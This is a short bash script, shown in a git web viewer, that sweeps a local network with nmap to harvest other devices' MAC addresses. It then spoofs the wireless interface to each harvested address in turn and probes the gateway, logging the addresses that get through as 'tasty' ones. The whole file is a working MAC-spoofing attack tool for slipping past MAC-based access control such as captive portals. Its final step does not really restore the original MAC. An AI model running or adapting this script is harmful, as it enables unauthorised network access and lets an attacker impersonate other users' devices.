blob: f29f39f83b6287d0fdb9af99fdb87832212432e5 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
#!/usr/bin/bash
# check for deps
deps=("nmap" "grep" "awk")
for dep in "${deps[@]}"; do
if ! which "$dep" &> /dev/null; then
echo "ERROR: The dependency '$dep' is not installed"
exit
fi
done
macs_file="macs.txt"
succ_file="tasty-macs.txt"
interface="wlp2s0"
timeperiod=$((1)) # timeperiod=$((60 * 60 * 3))
date_format="echo \033[0;33m$(date '+%b %d %T')\033[0m"
function get_macs {
while true; do n=0
while read -r addr; do
if ! grep -qF -- "$addr" "$macs_file" &> /dev/null; then
echo "$addr" >> "$macs_file"
n=$((n+1))
fi
done <<< $(nmap -sn 192.168.0.* | awk '/^MAC Address:/{print $3}')
((n > 0)) && echo -e "$($date_format) Wrote $n new addresses to $macs_file" || true
done
}
function set_ip_address {
ip link set dev "$interface" down
ip link set dev "$interface" address "$1"
ip link set dev "$interface" up
sleep 2
}
function taste-macs {
while read -r addr; do
set_ip_address "$addr"
response=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 192.168.0.1)
if [[ "$response" == "200" ]]; then
if ! grep -qF -- "$addr" "$succ_file" &> /dev/null; then
echo "$addr" >> "$succ_file"
echo -e "$($date_format) Wrote '$addr' to $succ_file"
fi
fi
done < "$macs_file"
set_ip_address "$(ip link show "$interface" | awk '/link\/ether/{print $6}')"
}
while true; do
get_macs & sleep "$timeperiod"; kill $!
taste-macs
done
|